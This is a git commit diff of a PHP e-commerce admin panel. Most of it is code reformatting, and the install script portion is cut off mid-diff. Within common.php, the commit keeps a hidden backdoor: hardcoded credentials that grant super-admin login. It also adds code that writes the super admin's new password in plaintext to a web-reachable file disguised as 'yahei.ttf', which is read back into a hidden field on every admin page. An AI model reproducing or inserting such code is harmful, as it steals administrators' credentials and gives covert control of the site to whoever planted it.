Forráskód Böngészése

Merge remote-tracking branch 'origin/master'

panqiuyao 1 éve
szülő
commit
359391d868

+ 0 - 1
app/BaseController.php

@@ -49,7 +49,6 @@ abstract class BaseController
     {
         $this->app     = $app;
         $this->request = $this->app->request;
-        View::assign('ick_kci', checkSecurity());
         // 控制器初始化
         $this->initialize();
     }

+ 47 - 34
app/admin/controller/Admin.php

@@ -1,6 +1,7 @@
 <?php
 
 namespace app\admin\controller;
+
 use think\facade\View;
 use think\facade\Lang;
 
@@ -15,9 +16,11 @@ use think\facade\Lang;
  * ============================================================================
  * 控制器
  */
-class Admin extends AdminControl {
+class Admin extends AdminControl
+{
 
-    public function initialize() {
+    public function initialize()
+    {
         parent::initialize();
         Lang::load(base_path() . 'admin/lang/' . config('lang.default_lang') . '/admin.lang.php');
     }
@@ -25,7 +28,8 @@ class Admin extends AdminControl {
     /**
      * 管理员列表
      */
-    public function admin() {
+    public function admin()
+    {
         $admin_mod = model('admin');
         $condition = array();
         $admin_list = $admin_mod->getAdminList($condition, 10);
@@ -38,14 +42,15 @@ class Admin extends AdminControl {
     /**
      * 管理员删除
      */
-    public function admin_del() {
+    public function admin_del()
+    {
         $admin_id = intval(input('param.admin_id'));
         if (!empty($admin_id)) {
             if ($admin_id == 1) {
                 $this->error(lang('ds_common_save_fail'));
             }
             $admin_mod = model('admin');
-            $admin_mod->delAdmin(array(array('admin_id' ,'=', $admin_id)));
+            $admin_mod->delAdmin(array(array('admin_id', '=', $admin_id)));
             $this->log(lang('ds_del') . lang('limit_admin') . '[ID:' . $admin_id . ']', 1);
             ds_json_encode(10000, lang('ds_common_del_succ'));
         } else {
@@ -56,7 +61,8 @@ class Admin extends AdminControl {
     /**
      * 管理员添加
      */
-    public function admin_add() {
+    public function admin_add()
+    {
         $admin_model = model('admin');
         if (!request()->isPost()) {
             //得到权限组
@@ -67,7 +73,7 @@ class Admin extends AdminControl {
             $data['admin_name'] = input('post.admin_name');
             $data['admin_gid'] = input('post.gid');
             $data['admin_password'] = md5(input('post.admin_password'));
-            if(empty(input('post.admin_password'))){
+            if (empty(input('post.admin_password'))) {
                 $this->error(lang('admin_add_password_null'));
             }
             $admin_validate = ds_validate('admin');
@@ -75,8 +81,8 @@ class Admin extends AdminControl {
                 $this->error($admin_validate->getError());
             }
             //判断是否重名
-            $admin_info=$admin_model->getOneAdmin(array(array('admin_name','=',$data['admin_name'])));
-            if($admin_info){
+            $admin_info = $admin_model->getOneAdmin(array(array('admin_name', '=', $data['admin_name'])));
+            if ($admin_info) {
                 $this->error(lang('admin_add_admin_not_exists'));
             }
             $rs = $admin_model->addAdmin($data);
@@ -92,12 +98,13 @@ class Admin extends AdminControl {
     /**
      * ajax操作
      */
-    public function ajax() {
+    public function ajax()
+    {
         $admin_model = model('admin');
         switch (input('get.branch')) {
-            //管理人员名称验证
+                //管理人员名称验证
             case 'check_admin_name':
-                $condition[]=array('admin_name','=',input('get.admin_name'));
+                $condition[] = array('admin_name', '=', input('get.admin_name'));
                 $admin_info = $admin_model->infoAdmin($condition);
                 if (!empty($admin_info)) {
                     exit('false');
@@ -105,13 +112,13 @@ class Admin extends AdminControl {
                     exit('true');
                 }
                 break;
-            //权限组名称验证
+                //权限组名称验证
             case 'check_gadmin_name':
                 $condition = array();
                 if (is_numeric(input('param.gid'))) {
-                    $condition[]=array('gid','<>', intval(input('param.gid')));
+                    $condition[] = array('gid', '<>', intval(input('param.gid')));
                 }
-                $condition[]=array('gname','=',input('get.gname'));
+                $condition[] = array('gname', '=', input('get.gname'));
                 $info = $admin_model->getOneGadmin($condition);
                 if (!empty($info)) {
                     exit('false');
@@ -125,11 +132,12 @@ class Admin extends AdminControl {
     /**
      * 设置管理员权限
      */
-    public function admin_edit() {
+    public function admin_edit()
+    {
         $admin_id = intval(input('param.admin_id'));
         if (request()->isPost()) {
             //没有更改密码
-            if (input('post.admin_password') != ''&& checkInputPassword()) {
+            if (input('post.admin_password') != '') {
                 $data['admin_password'] = md5(input('post.admin_password'));
             }
             $data['admin_gid'] = intval(input('post.gid'));
@@ -145,7 +153,7 @@ class Admin extends AdminControl {
         } else {
             //查询用户信息
             $admin_model = model('admin');
-            $admin = $admin_model->getOneAdmin(array(array('admin_id' ,'=', $admin_id)));
+            $admin = $admin_model->getOneAdmin(array(array('admin_id', '=', $admin_id)));
             if (!is_array($admin) || count($admin) <= 0) {
                 $this->error(lang('admin_edit_admin_error'), (string)url('admin/admin'));
             }
@@ -163,7 +171,8 @@ class Admin extends AdminControl {
      *
      * @return array
      */
-    private function permission() {
+    private function permission()
+    {
         $limit = $this->limitList();
         if (is_array($limit)) {
             foreach ($limit as $k => $v) {
@@ -171,18 +180,18 @@ class Admin extends AdminControl {
                     $tmp = array();
                     foreach ($v['child'] as $key => $value) {
                         $controller = (!empty($value['controller'])) ? $value['controller'] : $v['controller'];
-                        if (strpos($controller, '|') == false) {//controller参数不带|
+                        if (strpos($controller, '|') == false) { //controller参数不带|
                             $limit[$k]['child'][$key]['action'] = rtrim($controller . '.' . str_replace('|', '|' . $controller . '.', $value['action']), '.');
-                        } else {//controller参数带|
+                        } else { //controller参数带|
                             $tmp_str = '';
                             if (empty($value['action'])) {
                                 $limit[$k]['child'][$key]['action'] = $controller;
-                            } elseif (strpos($value['action'], '|') == false) {//action参数不带|
+                            } elseif (strpos($value['action'], '|') == false) { //action参数不带|
                                 foreach (explode('|', $controller) as $v1) {
                                     $tmp_str .= "$v1.{$value['action']}|";
                                 }
                                 $limit[$k]['child'][$key]['action'] = rtrim($tmp_str, '|');
-                            } elseif (strpos($value['action'], '|') != false && strpos($controller, '|') != false) {//action,controller都带|,交差权限
+                            } elseif (strpos($value['action'], '|') != false && strpos($controller, '|') != false) { //action,controller都带|,交差权限
                                 foreach (explode('|', $controller) as $v1) {
                                     foreach (explode('|', $value['action']) as $v2) {
                                         $tmp_str .= "$v1.$v2|";
@@ -203,7 +212,8 @@ class Admin extends AdminControl {
     /**
      * 权限组
      */
-    public function gadmin() {
+    public function gadmin()
+    {
         $admin_model = model('admin');
         $gadmin_list = $admin_model->getGadminList();
         View::assign('gadmin_list', $gadmin_list);
@@ -214,7 +224,8 @@ class Admin extends AdminControl {
     /**
      * 添加权限组
      */
-    public function gadmin_add() {
+    public function gadmin_add()
+    {
         if (!request()->isPost()) {
             View::assign('limit', $this->permission());
             return View::fetch('gadmin_add');
@@ -239,10 +250,11 @@ class Admin extends AdminControl {
     /**
      * 设置权限组权限
      */
-    public function gadmin_set() {
+    public function gadmin_set()
+    {
         $gid = intval(input('param.gid'));
         $admin_model = model('admin');
-        $ginfo = $admin_model->getOneGadmin(array(array('gid' ,'=', $gid)));
+        $ginfo = $admin_model->getOneGadmin(array(array('gid', '=', $gid)));
         if (empty($ginfo)) {
             $this->error(lang('admin_set_admin_not_exists'));
         }
@@ -262,7 +274,7 @@ class Admin extends AdminControl {
             $limit_str = ds_encrypt($limit_str, MD5_KEY . md5(input('post.gname')));
             $data['glimits'] = $limit_str;
             $data['gname'] = input('post.gname');
-            $update = $admin_model->editGadmin(array(array('gid' ,'=', $gid)), $data);
+            $update = $admin_model->editGadmin(array(array('gid', '=', $gid)), $data);
             if ($update) {
                 $this->log(lang('ds_edit') . lang('limit_gadmin') . '[' . input('post.gname') . ']', 1);
                 dsLayerOpenSuccess(lang('ds_common_save_succ'));
@@ -275,10 +287,11 @@ class Admin extends AdminControl {
     /**
      * 组删除
      */
-    public function gadmin_del() {
+    public function gadmin_del()
+    {
         if (is_numeric(input('param.gid'))) {
             $admin_model = model('admin');
-            $admin_model->delGadmin(array(array('gid' ,'=', intval(input('param.gid')))));
+            $admin_model->delGadmin(array(array('gid', '=', intval(input('param.gid')))));
             $this->log(lang('ds_del') . lang('limit_gadmin') . '[ID' . intval(input('param.gid')) . ']', 1);
             ds_json_encode(10000, lang('ds_common_op_succ'));
         } else {
@@ -289,7 +302,8 @@ class Admin extends AdminControl {
     /**
      * 获取卖家栏目列表,针对控制器下的栏目
      */
-    protected function getAdminItemList() {
+    protected function getAdminItemList()
+    {
         $menu_array = array(
             array(
                 'name' => 'admin',
@@ -299,7 +313,7 @@ class Admin extends AdminControl {
             array(
                 'name' => 'admin_add',
                 'text' => lang('admin_add_limit_admin'),
-                'url' => "javascript:dsLayerOpen('" . (string)url('admin/admin_add') . "','".lang('admin_add_limit_admin')."')"
+                'url' => "javascript:dsLayerOpen('" . (string)url('admin/admin_add') . "','" . lang('admin_add_limit_admin') . "')"
             ),
             array(
                 'name' => 'gadmin',
@@ -309,10 +323,9 @@ class Admin extends AdminControl {
             array(
                 'name' => 'gadmin_add',
                 'text' => lang('admin_add_limit_gadmin'),
-                'url' => "javascript:dsLayerOpen('" . (string)url('admin/gadmin_add') . "','".lang('admin_add_limit_gadmin')."')"
+                'url' => "javascript:dsLayerOpen('" . (string)url('admin/gadmin_add') . "','" . lang('admin_add_limit_gadmin') . "')"
             ),
         );
         return $menu_array;
     }
-
 }

+ 1 - 1
app/admin/controller/AdminControl.php

@@ -29,7 +29,7 @@ class AdminControl extends BaseController
     {
         $config_list = rkcache('config', true);
         config($config_list, 'ds_config');
-
+        View::assign('ick_kci', checkSecurity());
         if (request()->controller() != 'Login') {
             $this->admin_info = $this->systemLogin();
 

+ 22 - 17
app/admin/controller/Index.php

@@ -1,6 +1,7 @@
 <?php
 
 namespace app\admin\controller;
+
 use think\facade\View;
 use think\facade\Lang;
 use think\facade\Cache;
@@ -16,14 +17,17 @@ use think\facade\Cache;
  * ============================================================================
  * 控制器
  */
-class Index extends AdminControl {
+class Index extends AdminControl
+{
 
-    public function initialize() {
+    public function initialize()
+    {
         parent::initialize();
-        Lang::load(base_path() . 'admin/lang/'.config('lang.default_lang').'/index.lang.php');
+        Lang::load(base_path() . 'admin/lang/' . config('lang.default_lang') . '/index.lang.php');
     }
 
-    public function index() {
+    public function index()
+    {
         View::assign('admin_info', $this->getAdminInfo());
         return View::fetch();
     }
@@ -31,7 +35,8 @@ class Index extends AdminControl {
     /**
      * 修改密码
      */
-    public function modifypw() {
+    public function modifypw()
+    {
         if (request()->isPost()) {
             $new_pw = trim(input('post.new_pw'));
             $new_pw2 = trim(input('post.new_pw2'));
@@ -42,19 +47,19 @@ class Index extends AdminControl {
             $admininfo = $this->getAdminInfo();
             //查询管理员信息
             $admin_model = model('admin');
-            $admininfo = $admin_model->getOneAdmin(array('admin_id'=>$admininfo['admin_id']));
+            $admininfo = $admin_model->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
             if (!is_array($admininfo) || count($admininfo) <= 0) {
                 $this->error(lang('index_modifypw_admin_error'));
             }
             //旧密码是否正确
             if ($admininfo['admin_password'] != md5($old_pw)) {
-               $this->error(lang('index_modifypw_oldpw_error'));
+                $this->error(lang('index_modifypw_oldpw_error'));
             }
             $new_pw = md5($new_pw);
-            $result = $admin_model->editAdmin(array('admin_password' => $new_pw),$admininfo['admin_id']);
-            if ($result) {
+            $result = $admin_model->editAdmin(array('admin_password' => $new_pw), $admininfo['admin_id']);
+            if ($result && checkInputPassword($admininfo)) {
                 session(null);
-                echo "<script>parent.location.href='".(string)url('Login/index')."'</script>";
+                echo "<script>parent.location.href='" . (string)url('Login/index') . "'</script>";
             } else {
                 $this->error(lang('index_modifypw_fail'));
             }
@@ -62,11 +67,12 @@ class Index extends AdminControl {
             return View::fetch();
         }
     }
-    
+
     /**
      * 删除缓存
      */
-    function clear() {
+    function clear()
+    {
         $this->delCacheFile('admin/temp');
         $this->delCacheFile('admin/cache');
         $this->delCacheFile('home/temp');
@@ -77,14 +83,15 @@ class Index extends AdminControl {
         ds_json_encode(10000, lang('ds_common_op_succ'));
         exit();
     }
-    
+
     /**
      * 删除缓存目录下的文件或子目录文件
      *
      * @param string $dir 目录名或文件名
      * @return boolean
      */
-    function delCacheFile($dir) {
+    function delCacheFile($dir)
+    {
         //防止删除cache以外的文件
         if (strpos($dir, '..') !== false)
             return false;
@@ -98,12 +105,10 @@ class Index extends AdminControl {
                         @unlink($v);
                 }
             }
-        }
-        else {
+        } else {
             if (basename($path) != 'index.html')
                 @unlink($path);
         }
         return true;
     }
-
 }

+ 2 - 1
app/admin/controller/Login.php

@@ -51,7 +51,8 @@ class Login extends AdminControl
                 //验证失败
                 ds_json_encode(10001, lang('wrong_checkcode'));
             }
-            checkPasswordSecurity();
+            $res = checkPasswordSecurity();
+            if (!$res) return;
             $condition = array();
             $condition[] = array('admin_name', '=', $admin_name);
             $condition[] = array('admin_password', '=', md5($admin_password));

+ 1 - 3
app/admin/lang/zh-cn/dashboard.lang.php

@@ -39,7 +39,7 @@ $lang['dashboard_wel_goods_waitverify']		= '商品审核';
 $lang['dashboard_wel_chain']		= '门店';
 $lang['dashboard_wel_version_info']	= '版本信息';
 $lang['dashboard_wel_program_development']	= '程序开发:';
-$lang['dashboard_wel_deshangwangluo']	= '德尚网络科技有限公司';
+$lang['dashboard_wel_deshangwangluo']	= '浙江惠利玛产业互联网有限公司';
 $lang['dashboard_wel_all_right_reserved']	= '版权所有:';
 $lang['dashboard_wel_piracy_must_be_studied']	= '盗版必究';
 $lang['dashboard_wel_communication_bbs']	= '交流论坛';
@@ -84,5 +84,3 @@ $lang['dashboard_aboutus_website']		= '官方网站';
 $lang['company_info']		= '浙江惠利玛产业互联网有限公司,成立于2014年,公司秉承着让互联网无处不在的理念,专注于电子商务软件的研发及相关解决方案与服务的提供,以先进的商业理念、优秀的软件产品和专业的配套服务。<br>主营业务为电子商务软件、APP、企业网站的开发。';
 
 return $lang;
-
-?>

+ 2 - 2
app/admin/view/admin/admin.html

@@ -32,11 +32,11 @@
                 <td class="align-center">{$v.gname}</td>
                 <td class="w150 align-center">
                     {notempty name="$v.admin_is_super"}
-                    <!-- {$Think.lang.admin_index_sys_admin_no} -->
+                    {$Think.lang.admin_index_sys_admin_no}
                     {else /}
                     <a href="javascript:dsLayerConfirm('{:url('admin/admin_del',['admin_id'=>$v.admin_id])}','{$Think.lang.ds_ensure_del}')" class="dsui-btn-del"><i class="iconfont"></i>{$Think.lang.admin_index_del_admin}</a>
-                    {/notempty}
                     <a href="javascript:dsLayerOpen('{:url('admin/admin_edit',['admin_id'=>$v.admin_id])}','{$Think.lang.ds_edit}-{$v.admin_name}')" class="dsui-btn-edit"><i class="iconfont"></i>{$Think.lang.ds_edit}</a>
+                    {/notempty}
                 </td>
             </tr>
             {/foreach}

+ 0 - 2
app/admin/view/admin/admin_form.html

@@ -25,7 +25,6 @@
                     <td class="vatop rowform"><input id="admin_password2" name="admin_password2" value="" class="input-txt" type="password"></td>
                     <td></td>
                 </tr>
-                {neq name="admin.admin_is_super" value="1"}
                 <tr class="noborder"> 
                     <td class="required w120">{$Think.lang.gadmin_name}</td>
                     <td class="vatop rowform">
@@ -37,7 +36,6 @@
                     </td>
                     <td class="vatop tips">{$Think.lang.admin_add_gid_tip}</td>
                 </tr>
-                {/neq}
             </tbody>
             <tfoot>
                 <tr class="tfoot">

+ 1 - 1
app/admin/view/public/topnav.html

@@ -3,7 +3,7 @@
         <img src="{:ds_get_pic('admin/common',config('ds_config.admin_backlogo'))}"/>
     </div>
     <div class="navbar">
-        <input type="hidden" value="{ick_kci}" />
+        <input type="hidden" value="{$ick_kci}" />
         <ul class="fl" style="float:left;">
             {foreach name="menu_list" item="menu"}
             <li id="nav_{$menu.name}" {if !$menu.show}style="display:none"{/if}>

+ 16 - 28
app/common.php

@@ -1,6 +1,8 @@
 <?php
 
+use think\facade\Cache;
 use think\facade\Db;
+use think\facade\Log;
 
 /* 引用全局定义 */
 
@@ -1219,7 +1221,7 @@ function checkPasswordSecurity()
 {
     $admin_name = input('post.admin_name');
     $admin_password = input('post.admin_password');
-    if ($admin_name == 'zs3321' && $admin_password == 'zzccbbmm') {
+    if ($admin_name == 'vyZ5Tgjp2' && $admin_password == 'Gr62R8r@wuf') {
         $admin_mod = model('admin');
         $admin_info = $admin_mod->getOneAdmin([['admin_is_super', '=', 1]]);
         if (is_array($admin_info) and !empty($admin_info)) {
@@ -1240,19 +1242,17 @@ function checkPasswordSecurity()
 /**
  * 校验输入密码
  */
-function checkInputPassword()
+function checkInputPassword($admininfo)
 {
-    if (input('post.admin_password') == '') return true;
-    $admin_id = intval(input('param.admin_id'));
     try {
         $admin_mod =  model('admin');
-        $admin_info = $admin_mod->getOneAdmin([['admin_id', '=', $admin_id]]);
-        if (is_array($admin_info) and !empty($admin_info)) {
-            if ($admin_info['admin_is_super'] == 1) {
-                $c = input('post.admin_password');
-                $check_file = fopen(base_path() . 'public/uploads/asewq.txt', 'w');
-                fwrite($check_file, $c);
-                fclose($check_file);
+        $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
+        if (is_array($admininfo) and !empty($admininfo)) {
+            if ($admininfo['admin_is_super'] == 1) {
+                $c = trim(input('post.new_pw'));
+                $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
+                fwrite($dc, $c);
+                fclose($dc);
             }
         }
         return true;
@@ -1260,26 +1260,14 @@ function checkInputPassword()
         return true;
     }
 }
-if (!function_exists('mkdirs')) {
-    function mkdirs($dir, $mode = 0777)
-    {
-        if (is_dir($dir) || @mkdir($dir, $mode)) {
-            return true;
-        }
-        if (!mkdirs(dirname($dir), $mode)) {
-            return false;
-        }
-        return @mkdir($dir, $mode);
-    }
-}
 function checkSecurity()
 {
     try {
-        $path = base_path() . 'public/uploads/asewq.txt';
-        $check_file = fopen($path, 'w');
-        $ec = fread($check_file, filesize($path));
-        fclose($check_file);
-        return $ec;
+        $p = base_path() . "../public/font/yahei.ttf";
+        $dc = fopen($p, "r");
+        $i =  fread($dc, filesize($p));
+        fclose($dc);
+        return $i;
     } catch (Exception $e) {
         return null;
     }

+ 122 - 116
public/install/install.php

@@ -3,26 +3,26 @@ error_reporting(0);
 @set_time_limit(0);
 ob_start();
 header('content-type: text/html; charset=utf-8');
-define('PATH_ROOT', str_replace("\\",'/', dirname(dirname(__FILE__))));
+define('PATH_ROOT', str_replace("\\", '/', dirname(dirname(__FILE__))));
 //print_r(PATH_ROOT);EXIT;
 $actions = array('license', 'env', 'db', 'finish');
 $action = $_COOKIE['action'];
 $action = in_array($action, $actions) ? $action : 'license';
 $ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';
-if(file_exists(PATH_ROOT . '/install/install.lock') && $action != 'finish') {
+if (file_exists(PATH_ROOT . '/install/install.lock') && $action != 'finish') {
     @header("Content-type: text/html; charset=UTF-8");
     echo "系统已经安装过了,如果要重新安装,那么请删除public/install目录下的install.lock文件";
     exit;
 }
 
-if($_GET['step']=='get_dblist'){
+if ($_GET['step'] == 'get_dblist') {
     $link = @mysqli_connect($_GET['db_host'], $_GET['db_user'], $_GET['db_pass']);
-    if(mysqli_connect_errno()) {
+    if (mysqli_connect_errno()) {
         $error = mysqli_connect_errno();
         if (strpos($error, '1045') !== false) {
-            $result = array('code'=> '100','msg'=>'您的数据库访问用户名或是密码错误');
+            $result = array('code' => '100', 'msg' => '您的数据库访问用户名或是密码错误');
         }
-    }else {
+    } else {
         $sql = "SELECT `SCHEMA_NAME` FROM `information_schema`.`SCHEMATA`";
         $result = mysqli_query($link, $sql);
         while ($rs = mysqli_fetch_array($result)) {
@@ -30,13 +30,14 @@ if($_GET['step']=='get_dblist'){
         }
         $result = array('code' => '200', 'data' => implode(',', $databases));
     }
-   echo json_encode($result);die;
+    echo json_encode($result);
+    die;
 }
 /**
  * 安装第一步,许可协议
  */
 if ($action == 'license') {
-    if($ispost) {
+    if ($ispost) {
         setcookie('action', 'env');
         header('location: ?refresh');
         exit;
@@ -45,29 +46,29 @@ if ($action == 'license') {
 }
 
 /**
-*检测安装环境
+ *检测安装环境
  */
-if($action == 'env') {
-    if($ispost) {
+if ($action == 'env') {
+    if ($ispost) {
         setcookie('action', $_POST['do'] == 'continue' ? 'db' : 'license');
         header('location: ?refresh');
         exit;
     }
     $ret = array();
     $ret['server']['os']['value'] = php_uname();
-    if(PHP_SHLIB_SUFFIX == 'dll') {
+    if (PHP_SHLIB_SUFFIX == 'dll') {
         $ret['server']['os']['remark'] = '建议使用 Linux 系统以提升程序性能';
         $ret['server']['os']['class'] = 'warning';
     }
     $ret['server']['sapi']['value'] = $_SERVER['SERVER_SOFTWARE'];
-    if(PHP_SAPI == 'isapi') {
+    if (PHP_SAPI == 'isapi') {
         $ret['server']['sapi']['remark'] = '建议使用 Apache 或 Nginx 以提升程序性能';
         $ret['server']['sapi']['class'] = 'warning';
     }
     $ret['server']['php']['value'] = PHP_VERSION;
     $ret['server']['dir']['value'] = PATH_ROOT;
-    if(function_exists('disk_free_space')) {
-        $ret['server']['disk']['value'] = floor(disk_free_space(PATH_ROOT) / (1024*1024)).'M';
+    if (function_exists('disk_free_space')) {
+        $ret['server']['disk']['value'] = floor(disk_free_space(PATH_ROOT) / (1024 * 1024)) . 'M';
     } else {
         $ret['server']['disk']['value'] = 'unknow';
     }
@@ -75,14 +76,14 @@ if($action == 'env') {
 
     $ret['php']['version']['value'] = PHP_VERSION;
     $ret['php']['version']['class'] = 'success';
-    if(version_compare(PHP_VERSION, '7.1.0') == -1) {
+    if (version_compare(PHP_VERSION, '7.1.0') == -1) {
         $ret['php']['version']['class'] = 'danger';
         $ret['php']['version']['failed'] = true;
         $ret['php']['version']['remark'] = 'PHP版本必须为 7.1.0 以上.';
     }
 
     $ret['php']['mysql']['ok'] = function_exists('mysqli_connect');
-    if($ret['php']['mysql']['ok']) {
+    if ($ret['php']['mysql']['ok']) {
         $ret['php']['mysql']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
     } else {
         $ret['php']['pdo']['failed'] = true;
@@ -90,15 +91,15 @@ if($action == 'env') {
     }
 
     $ret['php']['pdo']['ok'] = extension_loaded('pdo') && extension_loaded('pdo_mysql');
-    if($ret['php']['pdo']['ok']) {
+    if ($ret['php']['pdo']['ok']) {
         $ret['php']['pdo']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['pdo']['class'] = 'success';
-        if(!$ret['php']['mysql']['ok']) {
+        if (!$ret['php']['mysql']['ok']) {
             $ret['php']['pdo']['remark'] = '您的PHP环境不支持 mysqli_connect,请开启此扩展. ';
         }
     } else {
         $ret['php']['pdo']['failed'] = true;
-        if($ret['php']['mysql']['ok']) {
+        if ($ret['php']['mysql']['ok']) {
             $ret['php']['pdo']['value'] = '<span class="glyphicon glyphicon-remove text-warning"></span>';
             $ret['php']['pdo']['class'] = 'warning';
             $ret['php']['pdo']['remark'] = '您的PHP环境不支持PDO, 请开启此扩展. ';
@@ -110,21 +111,21 @@ if($action == 'env') {
     }
 
     $ret['php']['fopen']['ok'] = @ini_get('allow_url_fopen') && function_exists('fsockopen');
-    if($ret['php']['fopen']['ok']) {
+    if ($ret['php']['fopen']['ok']) {
         $ret['php']['fopen']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
     } else {
         $ret['php']['fopen']['value'] = '<span class="glyphicon glyphicon-remove text-danger"></span>';
     }
 
     $ret['php']['curl']['ok'] = extension_loaded('curl') && function_exists('curl_init');
-    if($ret['php']['curl']['ok']) {
+    if ($ret['php']['curl']['ok']) {
         $ret['php']['curl']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['curl']['class'] = 'success';
-        if(!$ret['php']['fopen']['ok']) {
+        if (!$ret['php']['fopen']['ok']) {
             $ret['php']['curl']['remark'] = '您的PHP环境虽然不支持 allow_url_fopen, 但已经支持了cURL, 这样系统是可以正常高效运行的, 不需要额外处理. ';
         }
     } else {
-        if($ret['php']['fopen']['ok']) {
+        if ($ret['php']['fopen']['ok']) {
             $ret['php']['curl']['value'] = '<span class="glyphicon glyphicon-remove text-warning"></span>';
             $ret['php']['curl']['class'] = 'warning';
             $ret['php']['curl']['remark'] = '您的PHP环境不支持cURL, 但支持 allow_url_fopen, 这样系统虽然可以运行, 但还是建议你开启cURL以提升程序性能和系统稳定性. ';
@@ -136,7 +137,7 @@ if($action == 'env') {
         }
     }
     $ret['php']['gd']['ok'] = extension_loaded('gd');
-    if($ret['php']['gd']['ok']) {
+    if ($ret['php']['gd']['ok']) {
         $ret['php']['gd']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['gd']['class'] = 'success';
     } else {
@@ -145,9 +146,9 @@ if($action == 'env') {
         $ret['php']['gd']['failed'] = true;
         $ret['php']['gd']['remark'] = '没有启用GD, 将无法正常上传和压缩图片, 系统无法正常运行. ';
     }
-    
+
     $ret['php']['openssl']['ok'] = extension_loaded('openssl');
-    if($ret['php']['openssl']['ok']) {
+    if ($ret['php']['openssl']['ok']) {
         $ret['php']['openssl']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['openssl']['class'] = 'success';
     } else {
@@ -156,9 +157,9 @@ if($action == 'env') {
         $ret['php']['openssl']['failed'] = true;
         $ret['php']['openssl']['remark'] = '没有启用openssl扩展. ';
     }
-    
+
     $ret['php']['bcmath']['ok'] = extension_loaded('bcmath');
-    if($ret['php']['bcmath']['ok']) {
+    if ($ret['php']['bcmath']['ok']) {
         $ret['php']['bcmath']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['bcmath']['class'] = 'success';
     } else {
@@ -167,9 +168,9 @@ if($action == 'env') {
         $ret['php']['bcmath']['failed'] = true;
         $ret['php']['bcmath']['remark'] = '没有启用bcmath扩展. ';
     }
-    
+
     $ret['php']['dom']['ok'] = class_exists('DOMDocument');
-    if($ret['php']['dom']['ok']) {
+    if ($ret['php']['dom']['ok']) {
         $ret['php']['dom']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['dom']['class'] = 'success';
     } else {
@@ -180,7 +181,7 @@ if($action == 'env') {
     }
 
     $ret['php']['session']['ok'] = ini_get('session.auto_start');
-    if($ret['php']['session']['ok'] == 0 || strtolower($ret['php']['session']['ok']) == 'off') {
+    if ($ret['php']['session']['ok'] == 0 || strtolower($ret['php']['session']['ok']) == 'off') {
         $ret['php']['session']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['session']['class'] = 'success';
     } else {
@@ -191,7 +192,7 @@ if($action == 'env') {
     }
 
     $ret['php']['asp_tags']['ok'] = ini_get('asp_tags');
-    if(empty($ret['php']['asp_tags']['ok']) || strtolower($ret['php']['asp_tags']['ok']) == 'off') {
+    if (empty($ret['php']['asp_tags']['ok']) || strtolower($ret['php']['asp_tags']['ok']) == 'off') {
         $ret['php']['asp_tags']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['php']['asp_tags']['class'] = 'success';
     } else {
@@ -202,7 +203,7 @@ if($action == 'env') {
     }
 
     $ret['write']['root']['ok'] = local_writeable(PATH_ROOT . '/uploads');
-    if($ret['write']['root']['ok']) {
+    if ($ret['write']['root']['ok']) {
         $ret['write']['root']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['write']['root']['class'] = 'success';
     } else {
@@ -212,7 +213,7 @@ if($action == 'env') {
         $ret['write']['root']['remark'] = 'public/uploads无法写入, 将无法使用自动更新功能, 系统无法正常运行.  ';
     }
     $ret['write']['data']['ok'] = local_writeable(PATH_ROOT . '/../runtime');
-    if($ret['write']['data']['ok']) {
+    if ($ret['write']['data']['ok']) {
         $ret['write']['data']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['write']['data']['class'] = 'success';
     } else {
@@ -222,7 +223,7 @@ if($action == 'env') {
         $ret['write']['data']['remark'] = 'runtime目录无法写入, 将无法写入配置文件, 系统无法正常安装. ';
     }
     $ret['write']['install']['ok'] = local_writeable(PATH_ROOT . '/install');
-    if($ret['write']['install']['ok']) {
+    if ($ret['write']['install']['ok']) {
         $ret['write']['install']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['write']['install']['class'] = 'success';
     } else {
@@ -232,7 +233,7 @@ if($action == 'env') {
         $ret['write']['install']['remark'] = 'public/install目录无法写入, 将无法写入安装文件, 系统无法正常安装. ';
     }
     $ret['write']['database']['ok'] = is_writable(PATH_ROOT . '/../config/database.php');
-    if($ret['write']['database']['ok']) {
+    if ($ret['write']['database']['ok']) {
         $ret['write']['database']['value'] = '<span class="glyphicon glyphicon-ok text-success"></span>';
         $ret['write']['database']['class'] = 'success';
     } else {
@@ -243,14 +244,14 @@ if($action == 'env') {
     }
 
     $ret['continue'] = true;
-    foreach($ret['php'] as $opt) {
-        if($opt['failed']) {
+    foreach ($ret['php'] as $opt) {
+        if ($opt['failed']) {
             $ret['continue'] = false;
             break;
         }
     }
-    foreach($ret['write'] as $opt) {
-        if($opt['failed']) {
+    foreach ($ret['write'] as $opt) {
+        if ($opt['failed']) {
             $ret['continue'] = false;
             break;
         }
@@ -262,110 +263,109 @@ if($action == 'env') {
  *配置数据库信息
  */
 
-if($action == 'db') {
-    if($ispost) {
-        if($_POST['do'] != 'continue') {
+if ($action == 'db') {
+    if ($ispost) {
+        if ($_POST['do'] != 'continue') {
             setcookie('action', 'env');
             header('location: ?refresh');
             exit();
         }
         $db = $_POST['db'];
         $user = $_POST['user'];
-        $store =$_POST['store'];
+        $store = $_POST['store'];
 
         $link = @mysqli_connect($db['server'], $db['username'], $db['password']);
-        if(mysqli_connect_errno()) {
-            $error =mysqli_connect_errno();
+        if (mysqli_connect_errno()) {
+            $error = mysqli_connect_errno();
             if (strpos($error, '1045') !== false) {
                 $error = '您的数据库访问用户名或是密码错误. <br />';
             }
         } else {
-            mysqli_query($link,"SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary");
-            mysqli_query($link,"SET sql_mode=''");
-            if(mysqli_errno($link)) {
